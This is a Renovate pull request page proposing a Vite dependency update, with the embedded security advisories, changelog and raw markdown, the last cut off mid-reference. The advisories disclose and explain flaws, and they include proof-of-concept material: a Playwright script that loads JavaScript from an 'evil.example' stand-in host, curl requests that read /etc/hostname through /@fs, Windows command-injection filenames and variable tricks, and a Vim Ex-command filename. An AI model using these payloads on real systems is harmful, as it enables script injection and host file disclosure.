sr2/cloud-portal

Fork 0

Update dependency vite to v8.1.6 [SECURITY] #16

Open

renovate wants to merge 1 commit from renovate/npm-vite-vulnerability into main

renovate commented

2026-10-20 20:16:15 +00:00

Member

This PR contains the following updates:

Package	Change	Age	Confidence
vite (source)	`8.0.16` → `8.1.6`

launch-editor: `fs.existsSync()` existence check can be bypassed on Windows

CVE-2026-112942 / GHSA-587h-7wmj-h5pm

More information

Details

Summary

launch-editor checked fs.existsSync(fileName) before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in \\..:line:column. This removes the requirement that the attacker be able to place a file with a malicious filename.

Combined with the % escaping issue described in GHSA-698v-4r3x-3vcv, this bypass can lead to OS command injection when an attacker controls the file argument.

Impact

Only apps that runs on Windows is affected.

Details

The earlier advisory assumed that fs.existsSync() required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.

A crafted value ending in \\..:1:1 is interpreted differently by launch-editor-middleware, launch-editor, and Windows:

launch-editor-middleware calls path.resolve() while the final path component is ..:1:1, so it is not treated as a parent-directory component.
launch-editor treats :1:1 as a line-and-column suffix and removes it, leaving a path ending in \\...
On Windows, fs.existsSync() accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.
Because the existence check passes, the crafted filename reaches the Windows shell command.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

launch-editor: escapeCmdArgs() omits % escaping on Windows

CVE-2026-112943 / GHSA-698v-4r3x-3vcv

More information

Details

Summary

launch-editor did not escape % on Windows when passing an argument to cmd. When an environment variable contained a malicious value, it was possible that that content to be executed.

Impact

Only apps that match all of the following conditions are affected:

The user uses Windows
An attacker can place a file with the malicious filename containing & or %
Either of
- An attacker can inject an environment variable with a malicious value
- An attacker can add a NTFS alternate data stream to the file placed

Details

Unlike .sh files, .bat / .cmd files on Windows cannot be called directly using child_process.spawn and requires passing them as an argument of cmd.exe. To do so, launch-editor escapes the arguments passed to cmd.exe. But launch-editor did not escape % which is used for environment variables.

Because launch-editor checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.

If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set &calc.exe to %ENV%) and call launchEditor with something%ENV%.
If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named ~-38%calc.exe), they can call launchEditor with something %CMDCMDLINE:~-38%calc.exe.
If the attacker can create a filename containing the %CD% and the subcommand (e.g. &calc.exe ), they can call launchEditor with ./%CD%

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Vite: Cross origin script execution through Vite custom middleware

CVE-2026-112945 / GHSA-9jrq-w75r-8gcw

More information

Details

Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
the transformed HTML contains an inline module script
from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC

import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}

Observed output on Vite 8.2.1:

attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page

Severity

CVSS Score: 2.1 / 10 (Low)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors

CVE-2026-112944 / GHSA-r825-w8mm-5pxw

More information

Details

Summary

launch-editor forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.

Impact

Direct `launch-editor` users

Only apps that match all of the following conditions are affected:

The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
The user uses or the app specifies any of the following editors:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
The first argument of launchEditor can start with + or - or the user is using WSL

`launch-editor-middleware` users

Only apps that match the following conditions are affected:

The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
The user uses or the app specifies any of the following editors:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
launch-editor older than v2.2.0 is used, or the user is using WSL

Vite users

Only apps that match the following conditions are affected:

The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
The user uses or the app specifies any of the following editors:
- Vim (including gVim)
- MacVim
- Emacs (including Emacsclient)
- Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
The user is using WSL

Details

launchEditor(file) function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with - (also + for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with + as an Ex command. As a result, an existing relative directory such as:

+call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa!

is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.

The following editor has a potentially destructive operation exposed to the CLI arguments:

Vim (including gVim)
MacVim
Emacs (including Emacsclient)
Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)

launch-editor-middleware v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, launch-editor converts the paths to relative paths internally, so those are still affected.

Vite 2.0.0+ uses launch-editor-middleware v2.2.0+ so the WSL users are only affected.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine

CVE-2026-112946 / GHSA-rq7h-c2jc-7f22

More information

Details

Summary

The content of files outside server.fs setting can be returned to the browser if the project imports a file path concatenated with the root. For example, if the project references <path-to-project-root>/etc/hosts, the content of /etc/hosts was possible to be returned.

The content of files outside the server.fs.allow option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing <project-root>/etc/hosts could make Vite return the host's /etc/hosts file.

Impact

Only apps that meet all of the following conditions are affected:

explicitly expose the Vite dev server to the network (using --host or the server.host option)
contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
The sensitive file is not matched by server.fs.deny
the dev server is not running on Windows

Details

When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as /etc/hostname. In affected versions, Vite converts that URL with fsPathFromUrl and adds the result to safeModulePaths. Because fsPathFromUrl ensures a leading slash without resolving the URL against the project root, the project URL /etc/hostname is recorded as if it were the absolute filesystem path /etc/hostname.

For a later request to /@fs/etc/hostname, the raw-filesystem middleware interprets /etc/hostname as an absolute path. The access check applies server.fs.deny, then accepts paths present in safeModulePaths before checking server.fs.allow. As a result, the request can return the host file instead of the project file that originally populated safeModulePaths.

PoC

The following example requires Linux with a readable /etc/hostname:

$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1

In another terminal:

$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@&#8203;fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

vitejs/vite (vite)

`v8.1.6`

Compare Source

Please refer to CHANGELOG.md for details.

`v8.1.5`

Compare Source

Features

add input to server.fs.allow (#23035) (95a3cda)
bundled-dev: reload once after rebuild instead of via the fallback page (#23106) (b24381d)
bundled-dev: support worker file update accepted by HMR (#23068) (0d04351)
config: include column in config incompatibility location (#23064) (8a24572)
dev: resolve interface name for explicit host in network URLs (#22965) (3ac77d9)
add input option (#22642) (9beae37)
config: warn features incompatible with native loader in bundle loader (#22850) (05302b0)
css: export PostCSS config type for type-safe configs (#22792) (302c755)
dev: label network URLs with their interface name (#22830) (78accc4)
optimizer: support aube lockfile (#22813) (6319827)
optimizer: support nub lockfile (#22891) (65d3604)
update rolldown-related dependencies and use client-side HMR in bundled-dev (#22961) (960e9ef)
wasm: expand test suite, unwrap WebAssembly.Global and enable js-string builtins (#22674) (9e79b51)

Bug Fixes

bundledDev: print build errors to the terminal when an HMR update fails (#23024) (41c4658)
deps: update all non-major dependencies (#23069) (4c07b74)
hmr: preserve environment snapshot during server restart (#22992) (b1186c3)
importAnalysis: interop imports injected into optimized dep files by plugins (#23029) (8c2a87d)
module-runner: keep stack trace interception working when Object.prototype is frozen (#23073) (599c5b0)
server: strip base in indexHtml module graph lookup (#22932) (fa005d1)
support resolving top-level input option with plugins (#23101) (41df81a)
build: map CSS chunks in chunk import maps (fix #22946) (#22947) (e16ff3a)
config: exclude virtual modules from native config compat check (#22979) (2ced1fe)
css: rewrite urls in OnceExit-injected content (#22983) (abb793e)
deps: update all non-major dependencies (#22985) (04f345b)
deps: update dependency magic-string to v1 (#22998) (c60b4d7)
hmr: remove hot data after prune (#23002) (be96316)
resolve root to real path (#22832) (55bba7b)

Performance Improvements

config: skip native config compat check when warning is ignored (#23000) (18535d1)
optimizer: check popular package manager lockfiles first (#22909) (14fcb66)

Documentation

config: correct cacheDir default fallback description (#23060) (aafa103)
remove @experimental from resolve.tsconfigPaths JSDoc (#23006) (961643a)

Miscellaneous Chores

fix ts erros in test cases (#22972) (f654769)

Tests

config CJS module vars in ESM case (#23010) (d8cd388)

Beta Changelogs

8.2.0-beta.0 (2026-07-22)

See 8.2.0-beta.0 changelog

`v8.1.4`

Compare Source

Features

legacy: prefer oxc as minifier (fix #21973) (#22468) (ab5dafa)

Bug Fixes

build: add workaround for building on stackblitz (#22840) (575c32c)
build: keep import.meta.url in preload function as-is (#22839) (f1f90ed)
deps: update all non-major dependencies (#22865) (d4295a9)
deps: update rolldown-related dependencies (#22866) (7cf07e4)
html: avoid backtracking in import-only check (#22848) (b5868c0)
optimizer: avoid optimizer run for transform request before init (#22852) (72a5e21)
ssr: align named export function call stacktrace column with Node (#22829) (173a1b6)
strip pure CSS chunk imports when chunkImportMap is enabled (#22841) (648bd04)

Documentation

fix incorrect @default for server.cors (#22859) (70435b2)

Miscellaneous Chores

deps: update dependency postcss-modules to v9 (#22867) (a9539d6)

Code Refactoring

eliminate ineffectiveDynamicImport warn (#22876) (ea22fb3)

Tests

avoid warnings (#22851) (af21ab6)

Build System

remove the custom onLog function (#22878) (2c4a217)
replace deprecated onwarn with onLog (#22741) (c581b55)

`v8.1.3`

Compare Source

Bug Fixes

css: inject inlined CSS after the shebang line (#22717) (1534d36)
deps: bump es-module-lexer to 2.3.0 (#22838) (7103c3a)
preload css for nested dynamic imports (#22759) (2c53054)
ssr: correct stacktrace column position for first line (#22828) (c4acd69)

`v8.1.2`

Compare Source

Bug Fixes

deps: revert es-module-lexer to 2.1.0 (#22827) (0d3bd7c)
restore, "fix: resolve pnpm .modules.yaml from workspace root instead of cwd (#22757)" (#22825) (efb98cc)
revert, "fix: escape ids with multiple null bytes (#22687)" (cccef55)
revert, "fix: resolve pnpm .modules.yaml from workspace root instead of cwd (#22757)" (cf97711)

`v8.1.1`

Compare Source

Features

update dynamic import warning to link to Vite docs (#22823) (62bd7af)

Bug Fixes

bundled-dev: avoid stack overflow on import.meta.hot.invalidate() (#22797) (709eb8e)
bundled-dev: serve assets emitted during HMR/lazy compile (#22745) (5876b2c)
bundledDev: skip plugin transform hooks for rolldown-lazy stub modules (#22778) (8f925e2)
css: preserve dollar signs in external @import urls with lightningcss (#22718) (9fa7ab4)
css: resolve tsconfig paths in CSS and Sass @import (#22775) (ef0b891)
deps: update all non-major dependencies (#22734) (e635f49)
deps: update all non-major dependencies (#22804) (8837400)
deps: update rolldown-related dependencies (#22591) (2ce6677)
escape ids with multiple null bytes (#22687) (833fc30)
hide console window when running 'net use' on Windows (#22698) (92b63f2)
ignore bundled config temp dir (#22800) (043a810)
invert esbuild.jsxSideEffects when converting to oxc.jsx.pure (#22809) (33895ba)
optimize-deps: ignore ERR_CLOSED_SERVER in scanner (#22784) (085a0ab)
optimizer: scanner should resolve input from root (#22769) (9722b07)
resolve pnpm .modules.yaml from workspace root instead of cwd (#22757) (2531ac7)
return sourcemap field from some plugins that were lacking (#22782) (7e18bf8)
server: handle malformed URI in indexHtmlMiddleware (#22781) (84f5ccc)

Miscellaneous Chores

improve dependency optimizer messages (#22549) (092cb3b)

Code Refactoring

css: remove lightningcss null byte bug workaround (#22822) (2dafd3b)
use pre-defined environments variable to avoid duplicate Object.values calls (#22790) (1113acf)

Tests

enable "manual chunk path" test and remove "worker.format error" test (#22824) (c088511)

`v8.1.0`

Compare Source

Features

extend server.fs.deny list with common files (#22707) (61ba8fd)
update rolldown to 1.1.2 (#22695) (4f008a6)
use ~ for Rolldown (#22693) (9928722)
import.meta.glob support caseSensitive option (#21707) (2ad6737)
add warning to discourage Vite with yarn pnp (#21906) (3fbb55a)
build: chunk importmap (#21580) (e180312)
css: support lightningcss plugin dependency (#21748) (0b7aaed)
deps: bump @vitejs/devtools peer dependency version (#22542) (d2c2bc0)
html: add html.additionalAssetSources option (#21412) (a41404b)
integrate with Vite Task for zero-config build caching (#22453) (f8d75f7)
rename server.hmr options to server.ws options (#21357) (9ce3036)
server: support multiple hosts in __VITE_ADDITIONAL_SERVER_ALLOWED_HOSTS (#21501) (735f9a1)
track dependencies when loading config with native (#22602) (a7e2da8)
types: add more precise typing for known query types to match known as types (#21863) (cc39e55)
update rolldown to 1.1.1 (#22593) (8a13d63)
wasm: direct .wasm imports (WASM ESM Integration) (#21779) (c23d85b)

Bug Fixes

bundled-dev: errors should be kept when incremental build fails (#22617) (9a0dd48)
cache falsy values in perEnvironmentState (#22715) (0e91e79)
glob: respect caseSensitive option in hmr matcher (#22711) (65f525e)
html: omit nonce on import map when cspNonce is unset (#22713) (8340bb5)
optimizer: skip null-valued exports in expandGlobIds glob resolution (#22611) (8b9f5cd)
resolved build options should be kept as a getter (#22691) (3527191)
server: handle malformed URI in memory files middleware (#22714) (df9e0a5)
use literal envPrefix queries for Vite Task (#22706) (da72733)
warn on deprecated envFile (#22555) (ed7b283)
apply correct fs restrictions for pnpm gvs (#22415) (092320b)
css: support external CSS with lightningcss (#18389) (d64a1a5)
deps: update all non-major dependencies (#22637) (44bb9d9)
deps: update all non-major dependencies (#22681) (f4f0633)
html: insert import map before modulepreload that is not self-close tag (#21409) (e399c89)
optimizer: preserve sourcemaps for transformed optimized deps with follow-up transforms (#22428) (1298951)
use node_modules/.vite as cacheDir when node_modules exists (#21777) (4417b4f)

Documentation

clarify loadEnv merges process.env (#22561) (28d8e12)

Miscellaneous Chores

bundle ViteTask client (#22604) (00edb41)
clean up eslint config (#22616) (2292140)
correct parseAst/parseAstAsync deprecation hints (#22656) (983b7e3)
update create-react-app links (#22659) (6ebcf6a)
update es-module-lexer to 2.0.0 (#22288) (d1e8a78)

Code Refactoring

client: inline dev-id value in CSS selector (#22736) (57f59bc)
remove unused removeRawQuery util (#22724) (403cc60)
use rolldownOptions property for chunkImportMap (#22692) (8e8816c)
include optional bundledDev in DevEnvironment instead of having a separate FBM DevEnvironment (#22587) (5edd1d5)
match import glob common base by path segment correctly (#22558) (eb12604)
use rolldownOptions where possible (#21205) (7ca7c1b)

Beta Changelogs

8.1.0-beta.0 (2026-06-15)

See 8.1.0-beta.0 changelog

Configuration

📅 Schedule: (UTC)

Branch creation
- ""
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [vite](https://vite.dev) ([source](https://github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`8.0.16` → `8.1.6`](https://renovatebot.com/diffs/npm/vite/8.0.16/8.1.6) | ![age](https://developer.mend.io/api/mc/badges/age/npm/vite/8.1.6?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/8.0.16/8.1.6?slim=true) | --- ### launch-editor: `fs.existsSync()` existence check can be bypassed on Windows [CVE-2026-112942](https://nvd.nist.gov/vuln/detail/CVE-2026-112942) / [GHSA-587h-7wmj-h5pm](https://github.com/advisories/GHSA-587h-7wmj-h5pm) <details> <summary>More information</summary> #### Details ##### Summary `launch-editor` checked `fs.existsSync(fileName)` before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in `\\..:line:column`. This removes the requirement that the attacker be able to place a file with a malicious filename. Combined with the `%` escaping issue described in [GHSA-698v-4r3x-3vcv](https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv), this bypass can lead to OS command injection when an attacker controls the file argument. ##### Impact Only apps that runs on Windows is affected. ##### Details The earlier advisory assumed that `fs.existsSync()` required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement. A crafted value ending in `\\..:1:1` is interpreted differently by `launch-editor-middleware`, `launch-editor`, and Windows: 1. `launch-editor-middleware` calls `path.resolve()` while the final path component is `..:1:1`, so it is not treated as a parent-directory component. 2. `launch-editor` treats `:1:1` as a line-and-column suffix and removes it, leaving a path ending in `\\..`. 3. On Windows, `fs.existsSync()` accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist. 4. Because the existence check passes, the crafted filename reaches the Windows shell command. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/launch-editor/security/advisories/GHSA-587h-7wmj-h5pm](https://github.com/vitejs/launch-editor/security/advisories/GHSA-587h-7wmj-h5pm) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112942](https://nvd.nist.gov/vuln/detail/CVE-2026-112942) - [https://github.com/vitejs/launch-editor/commit/f13cd835d4b8e860b1d4d080ad8a490cc2463679](https://github.com/vitejs/launch-editor/commit/f13cd835d4b8e860b1d4d080ad8a490cc2463679) - [https://github.com/vitejs/launch-editor](https://github.com/vitejs/launch-editor) - [https://github.com/vitejs/launch-editor/releases/tag/v2.14.2](https://github.com/vitejs/launch-editor/releases/tag/v2.14.2) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-587h-7wmj-h5pm) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### launch-editor: escapeCmdArgs() omits % escaping on Windows [CVE-2026-112943](https://nvd.nist.gov/vuln/detail/CVE-2026-112943) / [GHSA-698v-4r3x-3vcv](https://github.com/advisories/GHSA-698v-4r3x-3vcv) <details> <summary>More information</summary> #### Details ##### Summary `launch-editor` did not escape `%` on Windows when passing an argument to `cmd`. When an environment variable contained a malicious value, it was possible that that content to be executed. ##### Impact Only apps that match all of the following conditions are affected: - The user uses Windows - An attacker can place a file with the malicious filename containing `&` or `%` - Either of - An attacker can inject an environment variable with a malicious value - An attacker can add a NTFS alternate data stream to the file placed ##### Details Unlike `.sh` files, `.bat` / `.cmd` files on Windows cannot be called directly using [`child_process.spawn`](https://nodejs.org/docs/latest-v24.x/api/child_process.html#child_processspawncommand-args-options) and requires passing them as an argument of `cmd.exe`. To do so, launch-editor escapes the arguments passed to `cmd.exe`. But `launch-editor` did not escape `%` which is used for environment variables. Because `launch-editor` checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file. - If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set ` &calc.exe ` to `%ENV%`) and call `launchEditor` with `something%ENV%`. - If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named `~-38%calc.exe`), they can call `launchEditor` with `something %CMDCMDLINE:~-38%calc.exe`. - If the attacker can create a filename containing the `%CD%` and the subcommand (e.g. `&calc.exe `), they can call `launchEditor` with `./%CD%` #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv](https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112943](https://nvd.nist.gov/vuln/detail/CVE-2026-112943) - [https://github.com/vitejs/launch-editor/pull/155](https://github.com/vitejs/launch-editor/pull/155) - [https://github.com/vitejs/launch-editor/commit/3c2f9bf2ff8fe63d056a8f9cc52d825b66ca79fc](https://github.com/vitejs/launch-editor/commit/3c2f9bf2ff8fe63d056a8f9cc52d825b66ca79fc) - [https://github.com/vitejs/launch-editor](https://github.com/vitejs/launch-editor) - [https://github.com/vitejs/launch-editor/releases/tag/v2.14.2](https://github.com/vitejs/launch-editor/releases/tag/v2.14.2) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-698v-4r3x-3vcv) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Vite: Cross origin script execution through Vite custom middleware [CVE-2026-112945](https://nvd.nist.gov/vuln/detail/CVE-2026-112945) / [GHSA-9jrq-w75r-8gcw](https://github.com/advisories/GHSA-9jrq-w75r-8gcw) <details> <summary>More information</summary> #### Details ##### Summary When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server. ##### Impact Only apps that match the following conditions are affected: - the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this. - the transformed HTML contains an inline module script - from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions ##### Details [Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform: ```js const url = req.originalUrl template = await vite.transformIndexHtml(url, template) ``` For a development server at `http://localhost:5173`, an attacker can send this URL: ```text http://localhost:5173//evil.example/payload.js?/../../package.json ``` In Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text. Chromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`. [The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`: ```html <script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script> ``` The generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page. ##### PoC ```js import { createServer as createHttpServer } from 'node:http' import { createRequire } from 'node:module' import { dirname, join } from 'node:path' import { fileURLToPath, pathToFileURL } from 'node:url' const directory = dirname(fileURLToPath(import.meta.url)) const require = createRequire(join(directory, 'package.json')) const { chromium } = require('playwright-chromium') const viteModule = await import( pathToFileURL(require.resolve('vite')).href ) const createViteServer = viteModule.createServer ?? viteModule.default.createServer // This loopback server stands in for a separately hosted attacker website. const attackerPort = 4173 const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json` const html = '<script type="module">document.body.textContent = "Vite app"</script>' const listen = (server, port = 0) => new Promise((resolve, reject) => { server.once('error', reject) server.listen(port, '127.0.0.1', () => { server.off('error', reject) resolve(server.address().port) }) }) const close = (server) => new Promise((resolve, reject) => { server.close((error) => (error ? reject(error) : resolve())) }) let attackerRequest = null const attacker = createHttpServer((request, response) => { attackerRequest = request.url response.writeHead(200, { 'access-control-allow-origin': '*', 'content-type': 'text/javascript', }) response.end( "document.documentElement.dataset.viteXssPoc = 'executed'", ) }) const vite = await createViteServer({ appType: 'custom', configFile: false, root: directory, server: { hmr: false, middlewareMode: true, watch: null, }, }) const application = createHttpServer((request, response) => { vite.middlewares(request, response, async (error) => { if (error) { response.destroy(error) return } try { const transformed = await vite.transformIndexHtml(request.url, html) response.writeHead(200, { 'content-type': 'text/html' }) response.end(transformed) } catch (transformError) { response.destroy(transformError) } }) }) await listen(attacker, attackerPort) const applicationPort = await listen(application) const browser = await chromium.launch({ headless: true }) try { const page = await browser.newPage() await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`) await page.waitForFunction( () => document.documentElement.dataset.viteXssPoc === 'executed', ) console.log(`attacker request: ${attackerRequest}`) console.log('JavaScript from the attacker server executed in the Vite page') } finally { await browser.close() await close(application) await vite.close() await close(attacker) } ``` Observed output on Vite 8.2.1: ```text attacker request: /payload.js?/../../package.json?html-proxy&index=0.js JavaScript from the attacker server executed in the Vite page ``` #### Severity - CVSS Score: 2.1 / 10 (Low) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - 